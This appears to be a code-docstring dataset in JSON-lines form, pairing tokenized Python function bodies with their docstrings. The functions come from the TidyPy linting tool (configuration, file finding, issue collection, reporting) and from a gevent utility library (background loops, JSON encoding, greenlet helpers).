{"signature": "def get_default_config():", "body": "config = {}<EOL>for name, cls in iteritems(get_tools()):<EOL><INDENT>config[name] = cls.get_default_config()<EOL><DEDENT>try:<EOL><INDENT>workers = multiprocessing.cpu_count() - <NUM_LIT:1><EOL><DEDENT>except NotImplementedError:  <EOL><INDENT>workers = <NUM_LIT:1><EOL><DEDENT>workers = max(<NUM_LIT:1>, min(<NUM_LIT:4>, workers))<EOL>config.update({<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT>': workers,<EOL>'<STR_LIT>': [<EOL>{<EOL>'<STR_LIT:type>': '<STR_LIT>',<EOL>},<EOL>],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': False,<EOL>})<EOL>return config<EOL>", "docstring": "Produces a stock/out-of-the-box TidyPy configuration.\n\n:rtype: dict", "id": "f5217:m9"}
{"signature": "def get_user_config(project_path, use_cache=True):", "body": "if sys.platform == '<STR_LIT:win32>':<EOL><INDENT>user_config = os.path.expanduser(r'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>user_config = os.path.join(<EOL>os.getenv('<STR_LIT>') or os.path.expanduser('<STR_LIT>'),<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>if os.path.exists(user_config):<EOL><INDENT>with open(user_config, '<STR_LIT:r>') as config_file:<EOL><INDENT>config = pytoml.load(config_file).get('<STR_LIT>', {})<EOL><DEDENT>config = merge_dict(get_default_config(), config)<EOL>config = process_extensions(config, project_path, use_cache=use_cache)<EOL>return config<EOL><DEDENT>return None<EOL>", "docstring": "Produces a TidyPy configuration that incorporates the configuration files\nstored in the current user's home directory.\n\n:param project_path: the path to the project that is going to be analyzed\n:type project_path: str\n:param use_cache:\n    whether or not to use cached versions of any remote/referenced TidyPy\n    configurations. If not specified, defaults to ``True``.\n:type use_cache: bool\n:rtype: dict", "id": "f5217:m10"}
{"signature": "def get_local_config(project_path, use_cache=True):", "body": "pyproject_path = os.path.join(project_path, '<STR_LIT>')<EOL>if os.path.exists(pyproject_path):<EOL><INDENT>with open(pyproject_path, '<STR_LIT:r>') as config_file:<EOL><INDENT>config = pytoml.load(config_file)<EOL><DEDENT>config = config.get('<STR_LIT>', {}).get('<STR_LIT>', {})<EOL>config = merge_dict(get_default_config(), config)<EOL>config = process_extensions(config, project_path, use_cache=use_cache)<EOL>return config<EOL><DEDENT>return None<EOL>", "docstring": "Produces a TidyPy configuration using the ``pyproject.toml`` in the\nproject's directory.\n\n:param project_path: the path to the project that is going to be analyzed\n:type project_path: str\n:param use_cache:\n    whether or not to use cached versions of any remote/referenced TidyPy\n    configurations. If not specified, defaults to ``True``.\n:type use_cache: bool\n:rtype: dict", "id": "f5217:m11"}
{"signature": "def get_project_config(project_path, use_cache=True):", "body": "return get_local_config(project_path, use_cache=use_cache)or get_user_config(project_path, use_cache=use_cache)or get_default_config()<EOL>", "docstring": "Produces the Tidypy configuration to use for the specified project.\n\nIf a ``pyproject.toml`` exists, the configuration will be based on that. If\nnot, the TidyPy configuration in the user's home directory will be used. If\none does not exist, the default configuration will be used.\n\n:param project_path: the path to the project that is going to be analyzed\n:type project_path: str\n:param use_cache:\n    whether or not to use cached versions of any remote/referenced TidyPy\n    configurations. If not specified, defaults to ``True``.\n:type use_cache: bool\n:rtype: dict", "id": "f5217:m12"}
{"signature": "def merge_list(list1, list2):", "body": "merged = list(list1)<EOL>for value in list2:<EOL><INDENT>if value not in merged:<EOL><INDENT>merged.append(value)<EOL><DEDENT><DEDENT>return merged<EOL>", "docstring": "Merges the contents of two lists into a new list.\n\n:param list1: the first list\n:type list1: list\n:param list2: the second list\n:type list2: list\n:returns: list", "id": "f5218:m0"}
{"signature": "def merge_dict(dict1, dict2, merge_lists=False):", "body": "merged = dict(dict1)<EOL>for key, value in iteritems(dict2):<EOL><INDENT>if isinstance(merged.get(key), dict):<EOL><INDENT>merged[key] = merge_dict(merged[key], value)<EOL><DEDENT>elif merge_lists and isinstance(merged.get(key), list):<EOL><INDENT>merged[key] = merge_list(merged[key], value)<EOL><DEDENT>else:<EOL><INDENT>merged[key] = value<EOL><DEDENT><DEDENT>return merged<EOL>", "docstring": "Recursively merges the contents of two dictionaries into a new dictionary.\n\nWhen both input dictionaries share a key, the value from ``dict2`` is\nkept.\n\n:param dict1: the first dictionary\n:type dict1: dict\n:param dict2: the second dictionary\n:type dict2: dict\n:param merge_lists:\n    when this function encounters a key that contains lists in both input\n    dictionaries, this parameter dictates whether or not those lists should\n    be merged. If not specified, defaults to ``False``.\n:type merge_lists: bool\n:returns: dict", "id": "f5218:m1"}
{"signature": "def output_error(msg):", "body": "click.echo(click.style(msg, fg='<STR_LIT>'), err=True)<EOL>", "docstring": "Prints the specified string to ``stderr``.\n\n:param msg: the message to print\n:type msg: str", "id": "f5218:m2"}
{"signature": "@contextmanager<EOL>def mod_sys_path(paths):", "body": "old_path = sys.path<EOL>sys.path = paths + sys.path<EOL>try:<EOL><INDENT>yield<EOL><DEDENT>finally:<EOL><INDENT>sys.path = old_path<EOL><DEDENT>", "docstring": "A context manager that will append the specified paths to Python's\n``sys.path`` during the execution of the block.\n\n:param paths: the paths to append\n:type paths: list(str)", "id": "f5218:m3"}
{"signature": "def compile_masks(masks):", "body": "if not masks:<EOL><INDENT>masks = []<EOL><DEDENT>elif not isinstance(masks, (list, tuple)):<EOL><INDENT>masks = [masks]<EOL><DEDENT>return [<EOL>re.compile(mask)<EOL>for mask in masks<EOL>]<EOL>", "docstring": "Compiles a list of regular expressions.\n\n:param masks: the regular expressions to compile\n:type masks: list(str) or str\n:returns: list(regular expression object)", "id": "f5218:m4"}
{"signature": "def matches_masks(target, masks):", "body": "for mask in masks:<EOL><INDENT>if mask.search(target):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Determines whether or not the target string matches any of the regular\nexpressions specified.\n\n:param target: the string to check\n:type target: str\n:param masks: the regular expressions to check against\n:type masks: list(regular expression object)\n:returns: bool", "id": "f5218:m5"}
{"signature": "def read_file(filepath):", "body": "with _FILE_CACHE_LOCK:<EOL><INDENT>if filepath not in _FILE_CACHE:<EOL><INDENT>_FILE_CACHE[filepath] = _read_file(filepath)<EOL><DEDENT><DEDENT>return _FILE_CACHE[filepath]<EOL>", "docstring": "Retrieves the contents of the specified file.\n\nThis function performs simple caching so that the same file isn't read more\nthan once per process.\n\n:param filepath: the file to read\n:type filepath: str\n:returns: str", "id": "f5218:m6"}
{"signature": "def parse_python_file(filepath):", "body": "with _AST_CACHE_LOCK:<EOL><INDENT>if filepath not in _AST_CACHE:<EOL><INDENT>source = read_file(filepath)<EOL>_AST_CACHE[filepath] = ast.parse(source, filename=filepath)<EOL><DEDENT><DEDENT>return _AST_CACHE[filepath]<EOL>", "docstring": "Retrieves the AST of the specified file.\n\nThis function performs simple caching so that the same file isn't read or\nparsed more than once per process.\n\n:param filepath: the file to parse\n:type filepath: str\n:returns: ast.AST", "id": "f5218:m7"}
{"signature": "def get_requests():", "body": "return _REQUESTS<EOL>", "docstring": "Retrieves a ``requests`` object to use within TidyPy.", "id": "f5218:m8"}
{"signature": "def get_stdout(self):", "body": "return self._stdout.getvalue()<EOL>", "docstring": "Retrieves the content that was written to ``stdout``.\n\n:returns: str", "id": "f5218:c0:m3"}
{"signature": "def get_stderr(self):", "body": "return self._stderr.getvalue()<EOL>", "docstring": "Retrieves the content that was written to ``stderr``.\n\n:returns: str", "id": "f5218:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def can_be_used(cls):<DEDENT>", "body": "return True<EOL>", "docstring": "Indicates whether or not this tool can be executed now. Useful when you\nneed to check for certain environmental conditions (e.g., Python\nversion, dependency availability, etc).\n\nUnless overridden, always returns ``True``.\n\n:rtype: bool", "id": "f5227:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def get_default_config(cls):<DEDENT>", "body": "return {<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': {},<EOL>}<EOL>", "docstring": "Produces a tool configuration stanza that acts as the base/default for\nthis tool.\n\nrtype: dict", "id": "f5227:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def get_all_codes(cls):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Produces a sequence of all the issue codes this tool is capable of\ngenerating. Elements in this sequence must all be 2-element tuples,\nwhere the first element is the code, and the second is a textual\ndescription of what the code means.\n\nMust be implemented by concrete classes.\n\n:returns: tuple of tuples containing two strings each", "id": "f5227:c0:m2"}
{"signature": "def __init__(self, config):", "body": "<EOL>self.config = config<EOL>", "docstring": ":param config: the tool configuration to use during execution\n:type config: dict", "id": "f5227:c0:m3"}
{"signature": "def execute(self, finder):", "body": "raise NotImplementedError()<EOL>", "docstring": "Analyzes the project and generates a list of issues found during that\nanalysis.\n\nMust be implemented by concrete classes.\n\n:param finder:\n    the Finder class that should be used to identify the files or\n    directories that the tool will analyze.\n:type finder: tidypy.Finder\n:rtype: list(tidypy.Issue)", "id": "f5227:c0:m4"}
{"signature": "def on_start(self):", "body": "", "docstring": "Called when the execution of the TidyPy tool suite begins.", "id": "f5244:c0:m1"}
{"signature": "def on_tool_start(self, tool):", "body": "with self._lock:<EOL><INDENT>self.current_tools.append(tool)<EOL><DEDENT>", "docstring": "Called when an individual tool begins execution.\n\n:param tool: the name of the tool that is starting\n:type tool: str", "id": "f5244:c0:m2"}
{"signature": "def on_tool_finish(self, tool):", "body": "with self._lock:<EOL><INDENT>if tool in self.current_tools:<EOL><INDENT>self.current_tools.remove(tool)<EOL>self.completed_tools.append(tool)<EOL><DEDENT><DEDENT>", "docstring": "Called when an individual tool completes execution.\n\n:param tool: the name of the tool that completed\n:type tool: str", "id": "f5244:c0:m3"}
{"signature": "def on_finish(self):", "body": "", "docstring": "Called after all tools in the suite have completed.", "id": "f5244:c0:m4"}
{"signature": "def __init__(self, config):", "body": "self._config = config<EOL>self._all_issues = []<EOL>self._cleaned_issues = None<EOL>self._lock = Lock()<EOL>self._noqa = {}<EOL>", "docstring": ":param config:\n    the configuration used to during the analysis of the project\n:type config: dict", "id": "f5245:c0:m0"}
{"signature": "def add_issues(self, issues):", "body": "if not isinstance(issues, (list, tuple)):<EOL><INDENT>issues = [issues]<EOL><DEDENT>with self._lock:<EOL><INDENT>self._all_issues.extend(issues)<EOL>self._cleaned_issues = None<EOL><DEDENT>", "docstring": "Adds an issue to the collection.\n\n:param issues: the issue(s) to add\n:type issues: tidypy.Issue or list(tidypy.Issue)", "id": "f5245:c0:m1"}
{"signature": "def issue_count(self, include_unclean=False):", "body": "if include_unclean:<EOL><INDENT>return len(self._all_issues)<EOL><DEDENT>self._ensure_cleaned_issues()<EOL>return len(self._cleaned_issues)<EOL>", "docstring": "Returns the number of issues in the collection.\n\n:param include_unclean:\n    whether or not to include issues that are being ignored due to\n    being a duplicate, excluded, etc.\n:type include_unclean: bool\n:rtype: int", "id": "f5245:c0:m2"}
{"signature": "def get_issues(self, sortby=None):", "body": "self._ensure_cleaned_issues()<EOL>return self._sort_issues(self._cleaned_issues, sortby)<EOL>", "docstring": "Retrieves the issues in the collection.\n\n:param sortby: the properties to sort the issues by\n:type sortby: list(str)\n:rtype: list(tidypy.Issue)", "id": "f5245:c0:m3"}
{"signature": "def get_grouped_issues(self, keyfunc=None, sortby=None):", "body": "if not keyfunc:<EOL><INDENT>keyfunc = default_group<EOL><DEDENT>if not sortby:<EOL><INDENT>sortby = self.DEFAULT_SORT<EOL><DEDENT>self._ensure_cleaned_issues()<EOL>return self._group_issues(self._cleaned_issues, keyfunc, sortby)<EOL>", "docstring": "Retrieves the issues in the collection grouped into buckets according\nto the key generated by the keyfunc.\n\n:param keyfunc:\n    a function that will be used to generate the key that identifies\n    the group that an issue will be assigned to. This function receives\n    a single tidypy.Issue argument and must return a string. If not\n    specified, the filename of the issue will be used.\n:type keyfunc: func\n:param sortby: the properties to sort the issues by\n:type sortby: list(str)\n:rtype: OrderedDict", "id": "f5245:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def can_handle(cls, location):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Indicates whether or not this Extender is capable of retrieving the\nspecified location.\n\n:param location:\n    a URI indicating where to retrieve the TidyPy configuration from\n:type location: str\n:rtype: bool", "id": "f5251:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def retrieve(cls, location, project_path):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Retrieves a TidyPy configuration from the specified location.\n\n:param location:\n    a URI indicating where to retrieve the TidyPy configuration from\n:type location: str\n:param project_path: the full path to the project's base\n:type project_path: str\n:rtype: dict", "id": "f5251:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def parse(cls, content, is_pyproject=False):<DEDENT>", "body": "parsed = pytoml.loads(content)<EOL>if is_pyproject:<EOL><INDENT>parsed = parsed.get('<STR_LIT>', {})<EOL><DEDENT>parsed = parsed.get('<STR_LIT>', {})<EOL>return parsed<EOL>", "docstring": "A convenience method for parsing a TOML-serialized configuration.\n\n:param content: a TOML string containing a TidyPy configuration\n:type content: str\n:param is_pyproject:\n    whether or not the content is (or resembles) a ``pyproject.toml``\n    file, where the TidyPy configuration is located within a key named\n    ``tool``.\n:type is_pyproject: bool\n:rtype: dict", "id": "f5251:c0:m2"}
{"signature": "def execute_tools(config, path, progress=None):", "body": "progress = progress or QuietProgress()<EOL>progress.on_start()<EOL>manager = SyncManager()<EOL>manager.start()<EOL>num_tools = <NUM_LIT:0><EOL>tools = manager.Queue()<EOL>for name, cls in iteritems(get_tools()):<EOL><INDENT>if config[name]['<STR_LIT>'] and cls.can_be_used():<EOL><INDENT>num_tools += <NUM_LIT:1><EOL>tools.put({<EOL>'<STR_LIT:name>': name,<EOL>'<STR_LIT>': config[name],<EOL>})<EOL><DEDENT><DEDENT>collector = Collector(config)<EOL>if not num_tools:<EOL><INDENT>progress.on_finish()<EOL>return collector<EOL><DEDENT>notifications = manager.Queue()<EOL>environment = manager.dict({<EOL>'<STR_LIT>': Finder(path, config),<EOL>})<EOL>workers = []<EOL>for _ in range(config['<STR_LIT>']):<EOL><INDENT>worker = Worker(<EOL>args=(<EOL>tools,<EOL>notifications,<EOL>environment,<EOL>),<EOL>)<EOL>worker.start()<EOL>workers.append(worker)<EOL><DEDENT>while num_tools:<EOL><INDENT>try:<EOL><INDENT>notification = notifications.get(True, <NUM_LIT>)<EOL><DEDENT>except Empty:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if notification['<STR_LIT:type>'] == '<STR_LIT:start>':<EOL><INDENT>progress.on_tool_start(notification['<STR_LIT>'])<EOL><DEDENT>elif notification['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>collector.add_issues(notification['<STR_LIT>'])<EOL>progress.on_tool_finish(notification['<STR_LIT>'])<EOL>num_tools -= <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>progress.on_finish()<EOL>return collector<EOL>", "docstring": "Executes the suite of TidyPy tools upon the project and returns the\nissues that are found.\n\n:param config: the TidyPy configuration to use\n:type config: dict\n:param path: that path to the project to analyze\n:type path: str\n:param progress:\n    the progress reporter object that will receive callbacks during the\n    execution of the tool suite. If not specified, not progress\n    notifications will occur.\n:type progress: tidypy.Progress\n:rtype: tidypy.Collector", "id": "f5259:m0"}
{"signature": "def execute_reports(<EOL>config,<EOL>path,<EOL>collector,<EOL>on_report_finish=None,<EOL>output_file=None):", "body": "reports = get_reports()<EOL>for report in config.get('<STR_LIT>', []):<EOL><INDENT>if report.get('<STR_LIT:type>') and report['<STR_LIT:type>'] in reports:<EOL><INDENT>cfg = config.get('<STR_LIT>', {}).get(report['<STR_LIT:type>'], {})<EOL>cfg.update(report)<EOL>reporter = reports[report['<STR_LIT:type>']](<EOL>cfg,<EOL>path,<EOL>output_file=output_file,<EOL>)<EOL>reporter.produce(collector)<EOL>if on_report_finish:<EOL><INDENT>on_report_finish(report)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Executes the configured suite of issue reports.\n\n:param config: the TidyPy configuration to use\n:type config: dict\n:param path: that path to the project that was analyzed\n:type path: str\n:param collector: the issues to report\n:type collector: tidypy.Collector", "id": "f5259:m1"}
{"signature": "def __init__(self, config, base_path, output_file=None):", "body": "self.config = config<EOL>self.base_path = base_path<EOL>self._output_needs_closing = False<EOL>if output_file:<EOL><INDENT>self.output_file = output_file<EOL><DEDENT>elif self.config.get('<STR_LIT:file>'):<EOL><INDENT>self.output_file = click.open_file(<EOL>self.config['<STR_LIT:file>'],<EOL>mode='<STR_LIT:w>',<EOL>encoding='<STR_LIT:utf-8>',<EOL>)<EOL>self._output_needs_closing = True<EOL><DEDENT>else:<EOL><INDENT>self.output_file = click.get_text_stream('<STR_LIT>')<EOL><DEDENT>", "docstring": ":param config:\n    the configuration used during the analysis of the project\n:type config: dict\n:param base_path: the path to the project base directory\n:type base_path: str", "id": "f5264:c0:m0"}
{"signature": "def execute(self, collector):", "body": "", "docstring": "Produces the contents of the report.\n\nMust be implemented by concrete classes.\n\n:param collector: the collection of issues to report on\n:type collector: tidypy.Collector", "id": "f5264:c0:m1"}
{"signature": "def relative_filename(self, filename):", "body": "return Path(filename).relative_to(self.base_path).as_posix()<EOL>", "docstring": "Generates a path for the specified filename that is relative to the\nproject path.\n\n:param filename: the filename to generate the path for\n:type filename: str\n:rtype: str", "id": "f5264:c0:m3"}
{"signature": "def output(self, msg, newline=True):", "body": "click.echo(text_type(msg), nl=newline, file=self.output_file)<EOL>", "docstring": "Writes the specified string to the output target of the report.\n\n:param msg: the message to output.\n:type msg: str\n:param newline:\n    whether or not to append a newline to the end of the message\n:type newline: str", "id": "f5264:c0:m4"}
{"signature": "def __init__(self, base_path, config):", "body": "self.base_path = Path(base_path).resolve()<EOL>self.excludes = compile_masks(config['<STR_LIT>'])<EOL>self._found = dict()<EOL>self._find(self.base_path)<EOL>self._found = dict([<EOL>(dirname, files)<EOL>for dirname, files in iteritems(self._found)<EOL>if files<EOL>])<EOL>", "docstring": ":param base_path: the path to the base of the project\n:type base_path: str\n:param config: the configuration to use when searching the project\n:type config: dict", "id": "f5268:c0:m0"}
{"signature": "@property<EOL><INDENT>def project_path(self):<DEDENT>", "body": "return text_type(self.base_path)<EOL>", "docstring": "The path to the project that this Finder is operating from.", "id": "f5268:c0:m1"}
{"signature": "def relative_to_project(self, filepath):", "body": "return text_type(Path(filepath).relative_to(self.base_path))<EOL>", "docstring": "Reformats a file path to be relative to this Finder's project path.\n\n:param filepath: the path to reformat\n:type filepath: str or pathlib.Path\n:rtype: str", "id": "f5268:c0:m2"}
{"signature": "def is_excluded(self, path):", "body": "relpath = path.relative_to(self.base_path).as_posix()<EOL>return matches_masks(relpath, self.excludes)<EOL>", "docstring": "Determines whether or not the specified file is excluded by the\nproject's configuration.\n\n:param path: the path to check\n:type path: pathlib.Path\n:rtype: bool", "id": "f5268:c0:m4"}
{"signature": "def is_excluded_dir(self, path):", "body": "if self.is_excluded(path):<EOL><INDENT>return True<EOL><DEDENT>return matches_masks(path.name, ALWAYS_EXCLUDED_DIRS)<EOL>", "docstring": "Determines whether or not the specified directory is excluded by the\nproject's configuration.\n\n:param path: the path to check\n:type path: pathlib.Path\n:rtype: bool", "id": "f5268:c0:m5"}
{"signature": "def files(self, filters=None):", "body": "filters = compile_masks(filters or [r'<STR_LIT>'])<EOL>for files in itervalues(self._found):<EOL><INDENT>for file_ in files:<EOL><INDENT>relpath = text_type(Path(file_).relative_to(self.base_path))<EOL>if matches_masks(relpath, filters):<EOL><INDENT>yield file_<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "A generator that produces a sequence of paths to files in the project\nthat matches the specified filters.\n\n:param filters:\n    the regular expressions to use when finding files in the project.\n    If not specified, all files are returned.\n:type filters: list(str)", "id": "f5268:c0:m6"}
{"signature": "def directories(self, filters=None, containing=None):", "body": "filters = compile_masks(filters or [r'<STR_LIT>'])<EOL>contains = compile_masks(containing)<EOL>for dirname, files in iteritems(self._found):<EOL><INDENT>relpath = text_type(Path(dirname).relative_to(self.base_path))<EOL>if matches_masks(relpath, filters):<EOL><INDENT>if not contains or self._contains(files, contains):<EOL><INDENT>yield dirname<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "A generator that produces a sequence of paths to directories in the\nproject that matches the specified filters.\n\n:param filters:\n    the regular expressions to use when finding directories in the\n    project. If not specified, all directories are returned.\n:type filters: list(str)\n:param containing:\n    if a directory passes through the specified filters, it is checked\n    for the presence of a file that matches one of the regular\n    expressions in this parameter.\n:type containing: list(str)", "id": "f5268:c0:m8"}
{"signature": "def packages(self, filters=None):", "body": "return self.directories(<EOL>filters=filters,<EOL>containing=[r'<STR_LIT>'],<EOL>)<EOL>", "docstring": "A generator that produces a sequence of paths to directories that look\nto be Python packages (e.g., they contain an ``__init__.py``).\n\n:param filters:\n    the regular expressions to use when finding directories in the\n    project. If not specified, all directories are returned.\n:type filters: list(str)", "id": "f5268:c0:m9"}
{"signature": "def modules(self, filters=None):", "body": "masks = compile_masks(r'<STR_LIT>')<EOL>for file_ in self.files(filters=filters):<EOL><INDENT>if matches_masks(file_, masks):<EOL><INDENT>yield file_<EOL><DEDENT><DEDENT>", "docstring": "A generator that produces a sequence of paths to files that look to be\nPython modules (e.g., ``*.py``).\n\n:param filters:\n    the regular expressions to use when finding files in the project.\n    If not specified, all files are returned.\n:type filters: list(str)", "id": "f5268:c0:m10"}
{"signature": "def sys_paths(self, filters=None):", "body": "paths = set()<EOL>packages = list(self.packages(filters=filters))<EOL>for module in self.modules(filters=filters):<EOL><INDENT>parent = text_type(Path(module).parent)<EOL>if parent not in packages:<EOL><INDENT>paths.add(parent)<EOL><DEDENT><DEDENT>paths.update(self.topmost_directories([<EOL>text_type(Path(package).parent)<EOL>for package in packages<EOL>]))<EOL>return list(paths)<EOL>", "docstring": "Produces a list of paths that would be suitable to use in ``sys.path``\nin order to access the Python modules/packages found in this project.\n\n:param filters:\n    the regular expressions to use when finding files in the project.\n    If not specified, all files are returned.\n:type filters: list(str)", "id": "f5268:c0:m11"}
{"signature": "def read_file(self, filepath):", "body": "return read_file(filepath)<EOL>", "docstring": "Retrieves the contents of the specified file.\n\nThis function performs simple caching so that the same file isn't read\nmore than once per process.\n\n:param filepath: the file to read.\n:type filepath: str\n:rtype: str", "id": "f5268:c0:m13"}
{"signature": "@staticmethod<EOL><INDENT>def format_time(seconds):<DEDENT>", "body": "timedelta = datetime.timedelta(seconds=int(seconds))<EOL>mm, ss = divmod(timedelta.seconds, <NUM_LIT>)<EOL>if mm < <NUM_LIT>:<EOL><INDENT>return \"<STR_LIT>\" % (mm, ss)<EOL><DEDENT>hh, mm = divmod(mm, <NUM_LIT>)<EOL>if hh < <NUM_LIT>:<EOL><INDENT>return \"<STR_LIT>\" % (hh, mm, ss)<EOL><DEDENT>dd, hh = divmod(mm, <NUM_LIT>)<EOL>return \"<STR_LIT>\" % (dd, hh, mm, ss)<EOL>", "docstring": "Formats time as the string \"HH:MM:SS\".", "id": "f5273:c1:m1"}
{"signature": "def update(self, pbar):", "body": "if pbar.currval == <NUM_LIT:0>:<EOL><INDENT>return self.eta_format % '<STR_LIT>'<EOL><DEDENT>elif pbar.finished:<EOL><INDENT>return self.complete_format % self.format_time(pbar.seconds_elapsed)<EOL><DEDENT>else:<EOL><INDENT>elapsed = pbar.seconds_elapsed<EOL>eta = elapsed * pbar.maxval / pbar.currval - elapsed<EOL>return self.eta_format % self.format_time(eta)<EOL><DEDENT>", "docstring": "Updates the widget to show the ETA or total time when finished.", "id": "f5273:c1:m2"}
{"signature": "@contextmanager<EOL>def loop_in_background(interval, callback):", "body": "loop = GeventLoop(interval, callback)<EOL>loop.start()<EOL>try:<EOL><INDENT>yield loop<EOL><DEDENT>finally:<EOL><INDENT>if loop.has_started():<EOL><INDENT>loop.stop()<EOL><DEDENT><DEDENT>", "docstring": "When entering the context, spawns a greenlet that sleeps for `interval` seconds between `callback` executions.\nWhen leaving the context stops the greenlet.\nThe yielded object is the `GeventLoop` object so the loop can be stopped from within the context.\n\nFor example:\n```\nwith loop_in_background(60.0, purge_cache) as purge_cache_job:\n    ...\n    ...\n    if should_stop_cache():\n        purge_cache_job.stop()\n```", "id": "f5285:m0"}
{"signature": "def _loop(self):", "body": "while True:<EOL><INDENT>try:<EOL><INDENT>with uncaught_greenlet_exception_context():<EOL><INDENT>self._loop_callback()<EOL><DEDENT><DEDENT>except gevent.GreenletExit:<EOL><INDENT>break<EOL><DEDENT>if self._stop_event.wait(self._interval):<EOL><INDENT>break<EOL><DEDENT><DEDENT>self._clear()<EOL>", "docstring": "Main loop - used internally.", "id": "f5285:c0:m1"}
{"signature": "def _loop_callback(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Subclasses should implement this function - called every loop iteration.", "id": "f5285:c0:m2"}
{"signature": "def start(self):", "body": "assert not self.has_started(), \"<STR_LIT>\"<EOL>self._stop_event = Event()<EOL>self._greenlet = gevent.spawn(self._loop)<EOL>", "docstring": "Starts the loop. Calling a running loop is an error.", "id": "f5285:c0:m3"}
{"signature": "def stop(self, timeout=None):", "body": "assert self.has_started(), \"<STR_LIT>\"<EOL>greenlet = self._greenlet if gevent.getcurrent() != self._greenlet else None<EOL>self._stop_event.set()<EOL>if greenlet is not None and timeout is not None:<EOL><INDENT>greenlet.join(timeout)<EOL>return greenlet.ready<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Stops a running loop and waits for it to end if timeout is set. Calling a non-running loop is an error.\n:param timeout: time (in seconds) to wait for the loop to end after signalling it. ``None`` is to block till it\nends.\n:return: True if the loop stopped, False if still stopping.", "id": "f5285:c0:m4"}
{"signature": "def kill(self):", "body": "assert self.has_started(), \"<STR_LIT>\"<EOL>self._stop_event.set()<EOL>self._greenlet.kill()<EOL>self._clear()<EOL>", "docstring": "Kills the running loop and waits till it gets killed.", "id": "f5285:c0:m5"}
{"signature": "def has_started(self):", "body": "return self._greenlet is not None<EOL>", "docstring": ":return: True if the loop is running", "id": "f5285:c0:m6"}
{"signature": "def encode(python_object, indent=None, large_object=False):", "body": "<EOL>kwargs = dict(indent=indent)<EOL>if can_dumps_sort_keys():<EOL><INDENT>kwargs.update(sort_keys=True)<EOL><DEDENT>try:<EOL><INDENT>if large_object:<EOL><INDENT>out = GreenletFriendlyStringIO()<EOL>json.dump(python_object, out, **kwargs)<EOL>return out.getvalue()<EOL><DEDENT>else:<EOL><INDENT>return json.dumps(python_object, **kwargs)<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>logger.exception()<EOL>raise EncodeError('<STR_LIT>', python_object)<EOL><DEDENT>", "docstring": ":returns: a JSON-representation of the object", "id": "f5286:m1"}
{"signature": "def decode(json_string):", "body": "try:<EOL><INDENT>return json.loads(json_string)<EOL><DEDENT>except:<EOL><INDENT>raise DecodeError()<EOL><DEDENT>", "docstring": ":returns: a Python object", "id": "f5286:m2"}
{"signature": "def fopen(name, mode='<STR_LIT:r>', buffering=-<NUM_LIT:1>):", "body": "f = _fopen(name, mode, buffering)<EOL>return _FileObjectThreadWithContext(f, mode, buffering)<EOL>", "docstring": "Similar to Python's built-in `open()` function.", "id": "f5288:m0"}
{"signature": "def spawn(func, *args, **kwargs):", "body": "return gevent.spawn(wrap_uncaught_greenlet_exceptions(func), *args, **kwargs)<EOL>", "docstring": "spawns a greenlet that does not print exceptions to the screen.\n    if you use this function you MUST use this module's join or joinall otherwise the exception will be lost", "id": "f5289:m1"}
{"signature": "def create_threadpool_executed_func(original_func):", "body": "def wrapped_func(*args, **kwargs):<EOL><INDENT>try:<EOL><INDENT>result = original_func(*args, **kwargs)<EOL>return True, result<EOL><DEDENT>except:<EOL><INDENT>return False, sys.exc_info()<EOL><DEDENT><DEDENT>def new_func(*args, **kwargs):<EOL><INDENT>status, result = gevent.get_hub().threadpool.apply(wrapped_func, args, kwargs)<EOL>if status:<EOL><INDENT>return result<EOL><DEDENT>else:<EOL><INDENT>six.reraise(*result)<EOL><DEDENT><DEDENT>new_func.__name__ = original_func.__name__<EOL>new_func.__doc__ = \"<STR_LIT>\" + (\"<STR_LIT:U+0020>\" + original_func.__doc__ if original_func.__doc__ is not None else \"<STR_LIT>\")<EOL>return new_func<EOL>", "docstring": "Returns a function wrapper that defers function calls execute inside gevent's threadpool but keeps any exception\nor backtrace in the caller's context.\n:param original_func: function to wrap\n:returns: wrapper function", "id": "f5290:m0"}
{"signature": "def set_greenlet_uncaught_exception_handler(func):", "body": "global _uncaught_exception_handler<EOL>prev_handler, _uncaught_exception_handler = _uncaught_exception_handler, func<EOL>return prev_handler<EOL>", "docstring": "Sets a global greenlet uncaught exception handler that will get called if a greenlet spawned by one of this module's\nwrappers raises an uncaught exception.\n:param func: exception handler function that will receive the exc_info tuple as an argument\n:returns: previous exception handler function or None", "id": "f5291:m0"}
{"signature": "def _normalize_instancemethod(instance_method):", "body": "if not hasattr(instance_method, '<STR_LIT>'):<EOL><INDENT>return instance_method<EOL><DEDENT>def _func(*args, **kwargs):<EOL><INDENT>return instance_method(*args, **kwargs)<EOL><DEDENT>_func.__name__ = repr(instance_method)<EOL>return _func<EOL>", "docstring": "wraps(instancemethod) returns a function, not an instancemethod so its repr() is all messed up;\nwe want the original repr to show up in the logs, therefore we do this trick", "id": "f5291:m3"}
